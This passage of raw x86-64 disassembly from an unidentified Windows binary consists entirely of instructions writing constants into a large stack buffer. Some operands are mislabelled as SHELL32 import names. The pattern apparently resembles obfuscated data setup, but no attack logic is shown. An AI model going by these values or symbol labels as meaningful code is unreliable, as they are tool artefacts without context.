mov word [rsp + 0x1254], ax
mov dword [rsp + 0x4bb4], 0x7c5e1cfb
mov byte [rsp + 0x162], 2
mov eax, 0x32e
mov word [rsp + 0x1258], ax
mov eax, 0xd1b
mov word [rsp + 0x125c], ax
mov byte [rsp + 0x163], reloc.SHELL32.dll_ILIsParent
mov eax, 0x735f
mov word [rsp + 0x1260], ax
mov eax, 0x68d6
mov word [rsp + 0x1264], ax
mov byte [rsp + 0x164], 0x88
movabs rax, 0x4a328b2fed49a81e
mov qword [rsp + 0x8b98], rax
mov dword [rsp + 0x4bb8], 0x3ac72ae
mov byte [rsp + 0x165], 0x73
mov dword [rsp + 0x4bbc], 0xe21cb9d
mov byte [rsp + 0x166], SHTestTokenMembership
movabs rax, 0x2dd167a7f2598cd2
mov qword [rsp + 0x8ba0], rax
mov byte [rsp + 0x167], 0xa1
movabs rax, 0xe13f23f1e0a5d8d3
mov qword [rsp + 0x8ba8], rax
mov dword [rsp + 0x4bc0], 0x510c5287
mov eax, 0x5791
mov word [rsp + 0x1268], ax
mov eax, 0xd71
mov word [rsp + 0x126c], ax
mov byte [rsp + 0x168], 0x33
movabs rax, 0x2abae8638ea4e283
mov qword [rsp + 0x8bb0], rax
movabs rax, 0x14cf332394ec8902
mov qword [rsp + 0x8bb8], rax
mov dword [rsp + 0x4bc4], 0x72bdb614
movabs rax, 0x719aff7b8170fb31
mov qword [rsp + 0x8bc0], rax
mov dword [rsp + 0x4bc8], 0x4b86e34d
mov byte [rsp + 0x169], 0x7c
movabs rax, 0xaed5588ad5adcee
mov qword [rsp + 0x8bc8], rax
mov eax, 0x9e4
mov word [rsp + 0x1270], ax
mov byte [rsp + 0x16a], 0x60
mov dword [rsp + 0x4bcc], 0x3d4aa20b
movabs rax, 0x5207c34df02a8933
mov qword [rsp + 0x8bd0], rax
mov eax, 0x6364
mov word [rsp + 0x1274], ax
mov byte [rsp + 0x16b], 2
mov dword [rsp + 0x4bd0], 0x52578d2b
mov dword [rsp + 0x4bd4], 0xeda3f6df
mov eax, 0xdc2
mov word [rsp + 0x1278], ax
mov dword [rsp + 0x4bd8], 0x2314157d
mov dword [rsp + 0x4bdc], 0x4a8fce1b
mov eax, 0x21aa
mov word [rsp + 0x127c], ax
mov byte [rsp + 0x16c], PathMakeUniqueName
movabs rax, 0x32ff16124a37352e
mov qword [rsp + 0x8bd8], rax
mov byte [rsp + 0x16d], 0x7c
mov eax, 0x37c9
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x16e], 0x48
mov dword [rsp + 0x4be0], 0xc81c4189
mov dword [rsp + 0x4be4], 0xebbd4d3d
mov byte [rsp + 0x16f], ILCloneFirst
mov dword [rsp + 0x4be8], 0x11bc5746
mov dword [rsp + 0x4bec], 0x80368d71
mov eax, 0x4ce6
mov word [rsp + 0x1284], ax
movabs rax, 0x4fa9f168fcfe7cd2
mov qword [rsp + 0x8be0], rax
mov byte [rsp + 0x170], 0xd3
mov dword [rsp + 0x4bf0], 0x776e2d29
mov dword [rsp + 0x4bf4], 0x3a4c25d
mov dword [rsp + 0x4bf8], 0x17e626d5
mov eax, 0x34a
mov word [rsp + 0x1288], ax
mov byte [rsp + 0x171], PathMakeUniqueName
mov eax, 0x94a
mov word [rsp + 0x128c], ax
movabs rax, 0x24c1fb17cd07ce53
mov qword [rsp + 0x8be8], rax
mov byte [rsp + 0x172], 0x88
mov eax, 0x5b4a
mov word [rsp + 0x1290], ax
movabs rax, 0x4fecd4147276d9e8
mov qword [rsp + 0x8bf0], rax
mov byte [rsp + 0x173], 2
movabs rax, 0x6dc4b8ef51d9e133
mov qword [rsp + 0x8bf8], rax
mov dword [rsp + 0x4bfc], 0x290687b1
mov byte [rsp + 0x174], SHDoDragDrop
mov eax, 0x1d96
mov word [rsp + 0x1294], ax
movabs rax, 0xf57b9753752f6d75
mov qword [rsp + 0x8c00], rax
movabs rax, 0x7504a6abe1dcd0
mov qword [rsp + 0x8c08], rax
movabs rax, 0x3b93d9d4156ccaa9
mov qword [rsp + 0x8c10], rax
mov eax, 0x532
mov word [rsp + 0x1298], ax
mov eax, 0x302
mov word [rsp + 0x129c], ax
mov dword [rsp + 0x4c00], 0x60cd9942
mov dword [rsp + 0x4c04], 0x25617c8
mov byte [rsp + 0x175], 0x89
mov dword [rsp + 0x4c08], 0xd56756a
mov dword [rsp + 0x4c0c], 0x3b41bc22
mov eax, reloc.SHELL32.dll_SHTestTokenMembership
mov word [rsp + 0x12a0], ax
mov eax, 0x4e7
mov word [rsp + 0x12a4], ax
movabs rax, 0x2cb048ae7d721720
mov qword [rsp + 0x8c18], rax
mov eax, 0x448
mov word [rsp + 0x12a8], ax
movabs rax, 0xbc9a9e093698d1d4
mov qword [rsp + 0x8c20], rax
mov byte [rsp + 0x176], 0x33
movabs rax, 0x4ac3e358cd294980
mov qword [rsp + 0x8c28], rax
mov byte [rsp + 0x177], 0x38
mov eax, 0x5e66
mov word [rsp + 0x12ac], ax
mov eax, 0xe56
mov word [rsp + 0x12b0], ax
mov eax, 0xdaf
mov word [rsp + 0x12b4], ax
mov byte [rsp + 0x178], 0x3b
movabs rax, 0x56e292ae29b4e8a4
mov qword [rsp + 0x8c30], rax
mov eax, 0x65d4
mov word [rsp + 0x12b8], ax
mov eax, 0x7ef
mov word [rsp + 0x12bc], ax
mov byte [rsp + 0x179], 0x61
movabs rax, 0x5bfc58e8b90e27be
mov qword [rsp + 0x8c38], rax
mov dword [rsp + 0x4c10], 0x35c093
mov eax, 0xea
mov word [rsp + 0x12c0], ax
mov dword [rsp + 0x4c14], 0x46d3b417
mov dword [rsp + 0x4c18], 0x825de4d9
mov dword [rsp + 0x4c1c], 0x221742f2
movabs rax, 0x4e35235426e582a8
mov qword [rsp + 0x8c40], rax
mov byte [rsp + 0x17a], 0x7b
mov eax, 0x439b
mov word [rsp + 0x12c4], ax
mov eax, 0x448e
mov word [rsp + 0x12c8], ax
mov eax, 0xafb
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x4c20], 0x26dad902
mov eax, 0x515c
mov word [rsp + 0x12d0], ax
mov dword [rsp + 0x4c24], 0x5588a12d
mov byte [rsp + 0x17b], 0x1f
movabs rax, 0x39db9ec6e91b628f
mov qword [rsp + 0x8c48], rax
mov dword [rsp + 0x4c28], 0x1e1ee2d4
mov eax, 0x83b
mov word [rsp + 0x12d4], ax
mov byte [rsp + 0x17c], ILCloneFirst
mov eax, 0x4d
mov word [rsp + 0x12d8], ax
mov dword [rsp + 0x4c2c], 0x385ca62f
movabs rax, 0x76b0b6e845f067c1
mov qword [rsp + 0x8c50], rax
movabs rax, 0x988e1ad30a5a1f10
mov qword [rsp + 0x8c58], rax
mov dword [rsp + 0x4c30], 0xba4263e5
mov dword [rsp + 0x4c34], 0xc7848d62
movabs rax, 0x29e617b961a92c95
mov qword [rsp + 0x8c60], rax
movabs rax, 0xa92d82d54977765a
mov qword [rsp + 0x8c68], rax
mov byte [rsp + 0x17d], 8
mov byte [rsp + 0x17e], 0x39
mov dword [rsp + 0x4c38], 0x7f1d5c43
mov byte [rsp + 0x17f], 0x79
movabs rax, 0x55723a356cce59ff
mov qword [rsp + 0x8c70], rax
mov byte [rsp + 0x180], 0x44
movabs rax, 0x4ab287ca79fded21
mov qword [rsp + 0x8c78], rax
mov eax, 0x6adc
mov word [rsp + 0x12dc], ax
movabs rax, 0x5a4871beeea669a0
mov qword [rsp + 0x8c80], rax
movabs rax, 0x591d07a0e84b22ed
mov qword [rsp + 0x8c88], rax
mov eax, 0xe82
mov word [rsp + 0x12e0], ax
mov eax, 0x13d5
mov word [rsp + 0x12e4], ax
mov dword [rsp + 0x4c3c], 0x777c87f4
mov eax, 0x47b1
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x4c40], 0x2878561a
mov dword [rsp + 0x4c44], 0x1ea42ca0
mov eax, 0xc96
mov word [rsp + 0x12ec], ax
mov dword [rsp + 0x4c48], 0x8ed348bb
mov dword [rsp + 0x4c4c], 0x587f44f5
mov eax, 0x3310
mov word [rsp + 0x12f0], ax
movabs rax, 0x1613e55c254b94a6
mov qword [rsp + 0x8c90], rax
movabs rax, 0x729f88d8f88fccec
mov qword [rsp + 0x8c98], rax
mov byte [rsp + 0x181], 0x68
mov dword [rsp + 0x4c50], 0x1a95d9f
mov byte [rsp + 0x182], 0x4a
mov dword [rsp + 0x4c54], 0xf67c73ea
movabs rax, 0x52859ed8e3c28047
mov qword [rsp + 0x8ca0], rax
mov eax, 0x16e5
mov word [rsp + 0x12f4], ax
movabs rax, 0x920a619f7d7c42f6
mov qword [rsp + 0x8ca8], rax
mov dword [rsp + 0x4c58], 0x79dcc79c
mov dword [rsp + 0x4c5c], 0x7f89d4d5
movabs rax, 0x142650773a67fb89
mov qword [rsp + 0x8cb0], rax
mov dword [rsp + 0x4c60], 0xe9168272
movabs rax, 0x2ef77f1f8ec146f5
mov qword [rsp + 0x8cb8], rax
mov byte [rsp + 0x183], 0xcf
mov dword [rsp + 0x4c64], 0x68f605f9
movabs rax, 0x4c1937306f967f6c
mov qword [rsp + 0x8cc0], rax
movabs rax, 0x74d36d3c5bf73100
mov qword [rsp + 0x8cc8], rax
mov eax, 0x79a
mov word [rsp + 0x12f8], ax
mov byte [rsp + 0x184], 0x7d
mov byte [rsp + 0x185], 0x5a
movabs rax, 0x51593eefa1ca605b
mov qword [rsp + 0x8cd0], rax
mov eax, 0x341d
mov word [rsp + 0x12fc], ax
movabs rax, 0x26b88ced955c4c5a
mov qword [rsp + 0x8cd8], rax
mov dword [rsp + 0x4c68], 0xf50d7600
mov dword [rsp + 0x4c6c], 0x241182a9
mov dword [rsp + 0x4c70], 0xaf7e591e
mov byte [rsp + 0x186], 0x22
mov byte [rsp + 0x187], 2
mov eax, 0xa6f
mov word [rsp + 0x1300], ax
mov dword [rsp + 0x4c74], 0x5c099139
mov dword [rsp + 0x4c78], 0xe96a6bea
movabs rax, 0x85b5ac1e878df63b
mov qword [rsp + 0x8ce0], rax
mov byte [rsp + 0x188], 0xdb
mov byte [rsp + 0x189], 0xc8
mov eax, 0xe00
mov word [rsp + 0x1304], ax
mov byte [rsp + 0x18a], 0x69
movabs rax, 0xbffe6fbcee858702
mov qword [rsp + 0x8ce8], rax
mov byte [rsp + 0x18b], 0x5a
mov byte [rsp + 0x18c], 0x27
mov eax, 0xbce
mov word [rsp + 0x1308], ax
movabs rax, 0x2926ce617501b2f3
mov qword [rsp + 0x8cf0], rax
mov byte [rsp + 0x18d], 0x8a
mov dword [rsp + 0x4c7c], 0x38ac25db
mov eax, 0xaf8
mov word [rsp + 0x130c], ax
mov byte [rsp + 0x18e], reloc.SHELL32.dll_ILAppendID
mov eax, 0x40
mov word [rsp + 0x1310], ax
mov dword [rsp + 0x4c80], 0x19441871
mov byte [rsp + 0x18f], 0x1b
mov eax, 0x46a4
mov word [rsp + 0x1314], ax
movabs rax, 0x2cafb2a89773f7f6
mov qword [rsp + 0x8cf8], rax
mov byte [rsp + 0x190], 0x72
mov byte [rsp + 0x191], 0x91
mov eax, 0x1f4d
mov word [rsp + 0x1318], ax
movabs rax, 0x5a5c9b0abcbcf69
mov qword [rsp + 0x8d00], rax
mov byte [rsp + 0x192], 0x82
mov dword [rsp + 0x4c84], 0x42e92775
movabs rax, 0x50d6a6e4fd0787d6
mov qword [rsp + 0x8d08], rax
mov dword [rsp + 0x4c88], 0xefd855b5
mov byte [rsp + 0x193], 0xdb
mov byte [rsp + 0x194], 0x79
movabs rax, 0x87a05e7b89d965dd
mov qword [rsp + 0x8d10], rax
mov dword [rsp + 0x4c8c], 0x78ec1504
mov byte [rsp + 0x195], 0x41
mov eax, 0x121
mov word [rsp + 0x131c], ax
mov byte [rsp + 0x196], 0x60
mov dword [rsp + 0x4c90], 0x5d60c80c
mov byte [rsp + 0x197], 0x5a
mov eax, 0x5eee
mov word [rsp + 0x1320], ax
movabs rax, 0x1b735b4c6dfc00fa
mov qword [rsp + 0x8d18], rax
mov eax, 0x66ea
mov word [rsp + 0x1324], ax
mov eax, 0x2235
mov word [rsp + 0x1328], ax
mov byte [rsp + 0x198], ILFindChild
mov byte [rsp + 0x199], 0x45
mov eax, 0x278
mov word [rsp + 0x132c], ax
mov byte [rsp + 0x19a], 0x79
mov byte [rsp + 0x19b], 0xeb
mov byte [rsp + 0x19c], 0xe2
mov byte [rsp + 0x19d], 0x7c
movabs rax, 0x184c8b59eb4caa62
mov qword [rsp + 0x8d20], rax
mov byte [rsp + 0x19e], 0x4e
mov byte [rsp + 0x19f], 0x1c
mov eax, 0x77af
mov word [rsp + 0x1330], ax
mov byte [rsp + 0x1a0], 0x1a
mov byte [rsp + 0x1a1], 0x73
movabs rax, 0x522219b947c3a096
mov qword [rsp + 0x8d28], rax
mov eax, 0xb8c
mov word [rsp + 0x1334], ax
movabs rax, 0x2565fcbdc04e356d
mov qword [rsp + 0x8d30], rax
mov eax, 0x1e
mov word [rsp + 0x1338], ax
mov eax, 0xa59
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x4c94], 0x18b15a49
movabs rax, 0xa46136a17e1017ee
mov qword [rsp + 0x8d38], rax
mov eax, 0x2aa
mov word [rsp + 0x1340], ax
movabs rax, 0x377ff1b1b3cb2ea8
mov qword [rsp + 0x8d40], rax
mov eax, 0xe07
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x4c98], 0x7d3bd246
mov byte [rsp + 0x1a2], ILCloneFirst
mov eax, 0x6c88
mov word [rsp + 0x1348], ax
mov dword [rsp + 0x4c9c], 0x21499b11
mov dword [rsp + 0x4ca0], 0x869df5f2
mov eax, 0x4e5
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x4ca4], 0x96e72864
mov byte [rsp + 0x1a3], 0x34
mov dword [rsp + 0x4ca8], 0x55fe03fb
movabs rax, 0x19d132ee771b0399
mov qword [rsp + 0x8d48], rax
mov byte [rsp + 0x1a4], 0x78
mov dword [rsp + 0x4cac], 0xeaf0f44c
mov dword [rsp + 0x4cb0], 0x40e32a0b
mov dword [rsp + 0x4cb4], 0x290658e3
mov eax, 0x38be
mov word [rsp + 0x1350], ax
mov eax, 0x7ab3
mov word [rsp + 0x1354], ax
mov byte [rsp + 0x1a5], 0x76
mov dword [rsp + 0x4cb8], 0x2664950e
mov byte [rsp + 0x1a6], 0x75
mov eax, 0x4ab
mov word [rsp + 0x1358], ax
mov byte [rsp + 0x1a7], 0x9f
mov byte [rsp + 0x1a8], 0x42
mov eax, 0x348d
mov word [rsp + 0x135c], ax
mov byte [rsp + 0x1a9], PathMakeUniqueName
mov eax, 0x3f0
mov word [rsp + 0x1360], ax
mov byte [rsp + 0x1aa], reloc.SHELL32.dll_ILFindChild
mov eax, 0x3b04
mov word [rsp + 0x1364], ax
mov eax, 0xc25
mov word [rsp + 0x1368], ax
mov dword [rsp + 0x4cbc], 0x5030f2cd
mov dword [rsp + 0x4cc0], 0x3af7981c
mov eax, 0x713b
mov word [rsp + 0x136c], ax
mov byte [rsp + 0x1ab], 0x36
mov byte [rsp + 0x1ac], 0x6c
mov byte [rsp + 0x1ad], 0x8d
mov eax, 0x695
mov word [rsp + 0x1370], ax
mov dword [rsp + 0x4cc4], 0x6cc8484b
mov eax, 0x4f15
mov word [rsp + 0x1374], ax
movabs rax, 0x53f19d75a80bdad5
mov qword [rsp + 0x8d50], rax
mov eax, 0x8c5
mov word [rsp + 0x1378], ax
movabs rax, 0xf76c771855a548d1
mov qword [rsp + 0x8d58], rax
movabs rax, 0x7a394212e85c9a64
mov qword [rsp + 0x8d60], rax
mov dword [rsp + 0x4cc8], 0x46768946
mov byte [rsp + 0x1ae], 0x40
mov byte [rsp + 0x1af], 0x4f
mov dword [rsp + 0x4ccc], 0x4836e628
mov dword [rsp + 0x4cd0], 0xebdf30c2
mov byte [rsp + 0x1b0], 0x27
movabs rax, 0xe73ee606cdd19377
mov qword [rsp + 0x8d68], rax
movabs rax, 0xaa801bb63a608005
mov qword [rsp + 0x8d70], rax
mov byte [rsp + 0x1b1], SHDoDragDrop
movabs rax, 0x6c5f84a5a915cb18
mov qword [rsp + 0x8d78], rax
mov byte [rsp + 0x1b2], 0x39
mov eax, 0x4c66
mov word [rsp + 0x137c], ax
movabs rax, 0xf73a47f91b07166
mov qword [rsp + 0x8d80], rax
mov byte [rsp + 0x1b3], 0x6c
mov byte [rsp + 0x1b4], 0x89
mov byte [rsp + 0x1b5], 0x38
movabs rax, 0x6f51308a414a67ad
mov qword [rsp + 0x8d88], rax
mov byte [rsp + 0x1b6], reloc.SHELL32.dll_SHGetNewLinkInfoA
movabs rax, 0x2e355f84809d25d5
mov qword [rsp + 0x8d90], rax
mov byte [rsp + 0x1b7], 0x70
mov eax, 0x21ae
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x4cd4], 0x1638b16a
mov byte [rsp + 0x1b8], 0x6a
mov eax, 0x65b
mov word [rsp + 0x1384], ax
mov eax, 0xf58
mov word [rsp + 0x1388], ax
movabs rax, 0x834e945823a28839
mov qword [rsp + 0x8d98], rax
movabs rax, 0x148fc54edb50a2f
mov qword [rsp + 0x8da0], rax
mov dword [rsp + 0x4cd8], 0x604c26a8
movabs rax, 0x11fe8c9b2f72da70
mov qword [rsp + 0x8da8], rax
mov dword [rsp + 0x4cdc], 0x6c03db02
mov eax, 0x13a7
mov word [rsp + 0x138c], ax
movabs rax, 0xe3876c81940e218f
mov qword [rsp + 0x8db0], rax
mov dword [rsp + 0x4ce0], 0x825acc1b
mov eax, 0xb67
mov word [rsp + 0x1390], ax
movabs rax, 0x33578b846c842c93
mov qword [rsp + 0x8db8], rax
movabs rax, 0x25be84f164c33c47
mov qword [rsp + 0x8dc0], rax
mov eax, 0xb6e
mov word [rsp + 0x1394], ax
mov eax, 0xa4d
mov word [rsp + 0x1398], ax
mov byte [rsp + 0x1b9], 0xf6
mov eax, 0x5cef
mov word [rsp + 0x139c], ax
mov eax, 0x695
mov word [rsp + 0x13a0], ax
mov eax, 0xe8d
mov word [rsp + 0x13a4], ax
mov eax, 0x60d9
mov word [rsp + 0x13a8], ax
mov byte [rsp + 0x1ba], 0x6b
mov eax, 0x1489
mov word [rsp + 0x13ac], ax
mov eax, 0x3236
mov word [rsp + 0x13b0], ax
mov dword [rsp + 0x4ce4], 0x7677b077
mov byte [rsp + 0x1bb], 0x5e
mov dword [rsp + 0x4ce8], 0xf062778e
mov dword [rsp + 0x4cec], 0x1789ca89
mov eax, 0x3d9
mov word [rsp + 0x13b4], ax
movabs rax, 0x5a7710ad6548f42e
mov qword [rsp + 0x8dc8], rax
movabs rax, 0x60278c01f43a679f
mov qword [rsp + 0x8dd0], rax
movabs rax, 0x6bb9a08a35c262ea
mov qword [rsp + 0x8dd8], rax
mov eax, 0x2894
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x1bc], 0x63
mov dword [rsp + 0x4cf0], 0x7c657979
mov dword [rsp + 0x4cf4], 0xdd404366
movabs rax, 0x2a53b77de3623459
mov qword [rsp + 0x8de0], rax
mov byte [rsp + 0x1bd], 0x6e
mov eax, 0x10c4
mov word [rsp + 0x13bc], ax
movabs rax, 0x723d5486c71e4135
mov qword [rsp + 0x8de8], rax
mov byte [rsp + 0x1be], 0x1d
mov dword [rsp + 0x4cf8], 0xce01c98d
mov eax, 0x208
mov word [rsp + 0x13c0], ax
mov dword [rsp + 0x4cfc], 0x5cdc64c7
mov dword [rsp + 0x4d00], 0x1161df4b
movabs rax, 0x2b9f602f7e824497
mov qword [rsp + 0x8df0], rax
movabs rax, 0x1cd149bc8e589b90
mov qword [rsp + 0x8df8], rax
mov byte [rsp + 0x1bf], 0xa8
mov eax, 0x48a5
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x4d04], 0x29b0b212
mov eax, 0x64
mov word [rsp + 0x13c8], ax
mov byte [rsp + 0x1c0], 0x4a
movabs rax, 0x2797900e91ccd190
mov qword [rsp + 0x8e00], rax
mov byte [rsp + 0x1c1], 0x7c
mov byte [rsp + 0x1c2], 0x4c
mov eax, 0x5b8
mov word [rsp + 0x13cc], ax
mov eax, 0x83b
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x1c3], 0x38
mov dword [rsp + 0x4d08], 0x918e63b
mov eax, 0x332
mov word [rsp + 0x13d4], ax
mov dword [rsp + 0x4d0c], 0x7d6bf9c0
mov byte [rsp + 0x1c4], 0x85
mov byte [rsp + 0x1c5], 0xea
movabs rax, 0x11e7fe5721b76fa0
mov qword [rsp + 0x8e08], rax
mov dword [rsp + 0x4d10], 0xd1728bd3
mov dword [rsp + 0x4d14], 0x6eb50655
movabs rax, 0x8983f900734b2d06
mov qword [rsp + 0x8e10], rax
mov dword [rsp + 0x4d18], 0x1435cd16
mov dword [rsp + 0x4d1c], 0x7c067279
mov eax, 0x64f
mov word [rsp + 0x13d8], ax
mov byte [rsp + 0x1c6], PathMakeUniqueName
mov dword [rsp + 0x4d20], 0x55891cb3
mov eax, 0x762
mov word [rsp + 0x13dc], ax
mov byte [rsp + 0x1c7], 0x81
mov eax, 0x7080
mov word [rsp + 0x13e0], ax
mov eax, 0x7331
mov word [rsp + 0x13e4], ax
mov byte [rsp + 0x1c8], PathMakeUniqueName
mov eax, 0x42
mov word [rsp + 0x13e8], ax
mov eax, 0xec7
mov word [rsp + 0x13ec], ax
movabs rax, 0xc88e9d0de382ca0c
mov qword [rsp + 0x8e18], rax
mov eax, 0x79f4
mov word [rsp + 0x13f0], ax
movabs rax, 0x77ec060a90e72041
mov qword [rsp + 0x8e20], rax
movabs rax, 0x4ca6186dd8568fc0
mov qword [rsp + 0x8e28], rax
mov eax, 0x3c3
mov word [rsp + 0x13f4], ax
mov eax, 0x4650
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x4d24], 0x4ffb1888
mov byte [rsp + 0x1c9], 0x3b
mov eax, 0xaa0
mov word [rsp + 0x13fc], ax
movabs rax, 0x5250eb56a3a37650
mov qword [rsp + 0x8e30], rax
mov eax, 0xee5
mov word [rsp + 0x1400], ax
movabs rax, 0x1407f0fe499e2ea3
mov qword [rsp + 0x8e38], rax
mov dword [rsp + 0x4d28], 0x53b385c6
mov dword [rsp + 0x4d2c], 0x32c8bee9
mov byte [rsp + 0x1ca], 0x3e
mov eax, 0xd10
mov word [rsp + 0x1404], ax
movabs rax, 0x8f1ba6b3ed87570f
mov qword [rsp + 0x8e40], rax
mov byte [rsp + 0x1cb], 0xa
movabs rax, 0x47f36ff06aaf8e29
mov qword [rsp + 0x8e48], rax
mov eax, 0x31ae
mov word [rsp + 0x1408], ax
movabs rax, 0xdacdf50848adc36
mov qword [rsp + 0x8e50], rax
movabs rax, 0xe5adda19be6ec061
mov qword [rsp + 0x8e58], rax
mov byte [rsp + 0x1cc], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x1cd], 0x41
movabs rax, 0xc2187af9eee8135
mov qword [rsp + 0x8e60], rax
mov eax, 0x8d7
mov word [rsp + 0x140c], ax
mov byte [rsp + 0x1ce], 0x3e
mov dword [rsp + 0x4d30], 0x111f1ec6
mov eax, 0x1ce
mov word [rsp + 0x1410], ax
mov byte [rsp + 0x1cf], 8
mov dword [rsp + 0x4d34], 0x500d4417
mov eax, 0xd09
mov word [rsp + 0x1414], ax
mov eax, 0x52be
mov word [rsp + 0x1418], ax
mov eax, 0x5ca3
mov word [rsp + 0x141c], ax
mov byte [rsp + 0x1d0], 0x48
mov eax, 0x4b2
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x4d38], 0x6d628fd7
movabs rax, 0x1b9a405bcb4d02cd
mov qword [rsp + 0x8e68], rax
mov byte [rsp + 0x1d1], 0x72
mov dword [rsp + 0x4d3c], 0x41db4297
mov dword [rsp + 0x4d40], 0x7724365
mov eax, 0x7a8
mov word [rsp + 0x1424], ax
mov byte [rsp + 0x1d2], 0x3f
mov eax, 0x7d70
mov word [rsp + 0x1428], ax
movabs rax, 0x3127b6491a7d9b4d
mov qword [rsp + 0x8e70], rax
mov dword [rsp + 0x4d44], 0x3a54bf2a
movabs rax, 0x6e02a94cfccaf588
mov qword [rsp + 0x8e78], rax
mov eax, 0x83f
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x1d3], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0xdb21f42dbe4bbfef
mov qword [rsp + 0x8e80], rax
mov byte [rsp + 0x1d4], 6
mov byte [rsp + 0x1d5], 0x37
mov dword [rsp + 0x4d48], 0x35f9897f
movabs rax, 0x10af1e576011a04c
mov qword [rsp + 0x8e88], rax
mov dword [rsp + 0x4d4c], 0x71506c5d
mov eax, 0x43d6
mov word [rsp + 0x1430], ax
movabs rax, 0x1c1ece278fae7f7b
mov qword [rsp + 0x8e90], rax
mov byte [rsp + 0x1d6], 0xb4
mov byte [rsp + 0x1d7], 0x7e
mov eax, 0x62c
mov word [rsp + 0x1434], ax
mov byte [rsp + 0x1d8], 0x4f
mov dword [rsp + 0x4d50], 0x2ee0af41
mov byte [rsp + 0x1d9], 0x30
movabs rax, 0xe7a1db3c80a9c752
mov qword [rsp + 0x8e98], rax
movabs rax, 0x7a12d8aaef085566
mov qword [rsp + 0x8ea0], rax
mov dword [rsp + 0x4d54], 0x9062569e
mov eax, 0x502c
mov word [rsp + 0x1438], ax
mov dword [rsp + 0x4d58], 0x172a447e
mov byte [rsp + 0x1da], 0x23
movabs rax, 0x24de7a90ed68dcc6
mov qword [rsp + 0x8ea8], rax
mov eax, 0x2a85
mov word [rsp + 0x143c], ax
mov dword [rsp + 0x4d5c], 0x992a353
mov dword [rsp + 0x4d60], 0x62ebff91
mov dword [rsp + 0x4d64], 0x3d7f2fa6
mov dword [rsp + 0x4d68], 0x9f073604
mov byte [rsp + 0x1db], reloc.SHELL32.dll_ILCloneFirst
mov byte [rsp + 0x1dc], 0x47
mov dword [rsp + 0x4d6c], 0x52394feb
mov byte [rsp + 0x1dd], 0
mov byte [rsp + 0x1de], 0xe7
mov byte [rsp + 0x1df], 0x59
mov eax, 0x6a6c
mov word [rsp + 0x1440], ax
mov dword [rsp + 0x4d70], 0x5ae8d5ab
mov eax, 0x13cd
mov word [rsp + 0x1444], ax
movabs rax, 0xfacdf204a06e50c7
mov qword [rsp + 0x8eb0], rax
mov eax, 0x61f
mov word [rsp + 0x1448], ax
mov byte [rsp + 0x1e0], ILGetNext
mov dword [rsp + 0x4d74], 0x641aecac
mov eax, 0x54c2
mov word [rsp + 0x144c], ax
mov dword [rsp + 0x4d78], 0x3a86b7ee
mov byte [rsp + 0x1e1], reloc.SHELL32.dll_ILIsParent
mov eax, 0xe65
mov word [rsp + 0x1450], ax
movabs rax, 0x36c1de74e227cae4
mov qword [rsp + 0x8eb8], rax
mov eax, 0x4c2c
mov word [rsp + 0x1454], ax
mov dword [rsp + 0x4d7c], 0xaf11654
mov eax, 0x58fe
mov word [rsp + 0x1458], ax
mov dword [rsp + 0x4d80], 0x656e734e
movabs rax, 0xa291567e2476abf5
mov qword [rsp + 0x8ec0], rax
movabs rax, 0x20733bcc8f564389
mov qword [rsp + 0x8ec8], rax
mov byte [rsp + 0x1e2], 0x8c
mov eax, 0x532b
mov word [rsp + 0x145c], ax
mov dword [rsp + 0x4d84], 0x72ba611d
mov dword [rsp + 0x4d88], 0x3956d11c
movabs rax, 0x7dcf044ac7089bc3
mov qword [rsp + 0x8ed0], rax
mov byte [rsp + 0x1e3], 0x32
mov eax, 0x1fee
mov word [rsp + 0x1460], ax
mov eax, 0x133
mov word [rsp + 0x1464], ax
mov dword [rsp + 0x4d8c], 0x937b288b
mov dword [rsp + 0x4d90], 0x3cb134b6
mov byte [rsp + 0x1e4], 3
mov dword [rsp + 0x4d94], 0xa2adf396
mov dword [rsp + 0x4d98], 0x56d811b9
mov eax, 0x1938
mov word [rsp + 0x1468], ax
mov dword [rsp + 0x4d9c], 0x1414a174
mov byte [rsp + 0x1e5], PathMakeUniqueName
mov dword [rsp + 0x4da0], 0x290ab453
mov byte [rsp + 0x1e6], 0x70
mov dword [rsp + 0x4da4], 0x55c778cd
mov dword [rsp + 0x4da8], 0x4605b363
mov byte [rsp + 0x1e7], 0x46
mov eax, 0x1521
mov word [rsp + 0x146c], ax
mov byte [rsp + 0x1e8], 0x41
movabs rax, 0x7fe4ac55cd4db327
mov qword [rsp + 0x8ed8], rax
mov eax, 0x880
mov word [rsp + 0x1470], ax
mov dword [rsp + 0x4dac], 0xc2fa9d1e
mov byte [rsp + 0x1e9], SHTestTokenMembership
movabs rax, 0xdf446b93a437f49a
mov qword [rsp + 0x8ee0], rax
mov eax, 0x916
mov word [rsp + 0x1474], ax
mov eax, 0x151b
mov word [rsp + 0x1478], ax
mov byte [rsp + 0x1ea], 0x4a
mov dword [rsp + 0x4db0], 0x6458b97c
movabs rax, 0xa41886b46b3b67bd
mov qword [rsp + 0x8ee8], rax
movabs rax, 0xd9be0d72e386d80
mov qword [rsp + 0x8ef0], rax
movabs rax, 0x648b10a7fd79cbfe
mov qword [rsp + 0x8ef8], rax
mov eax, 0x5150
mov word [rsp + 0x147c], ax
mov dword [rsp + 0x4db4], 0xe1e43765
mov byte [rsp + 0x1eb], 0x1f
mov eax, 0x38c4
mov word [rsp + 0x1480], ax
mov eax, 0x1a77
mov word [rsp + 0x1484], ax
mov eax, 0x90d
mov word [rsp + 0x1488], ax
movabs rax, 0x1f357a858206a81
mov qword [rsp + 0x8f00], rax
movabs rax, 0x2a80556513ac8c05
mov qword [rsp + 0x8f08], rax
mov dword [rsp + 0x4db8], 0x2cd62ee
mov eax, 0x1595
mov word [rsp + 0x148c], ax
movabs rax, 0x395ec1bb1cb0c2a4
mov qword [rsp + 0x8f10], rax
movabs rax, 0x8e31bee3747e60d1
mov qword [rsp + 0x8f18], rax
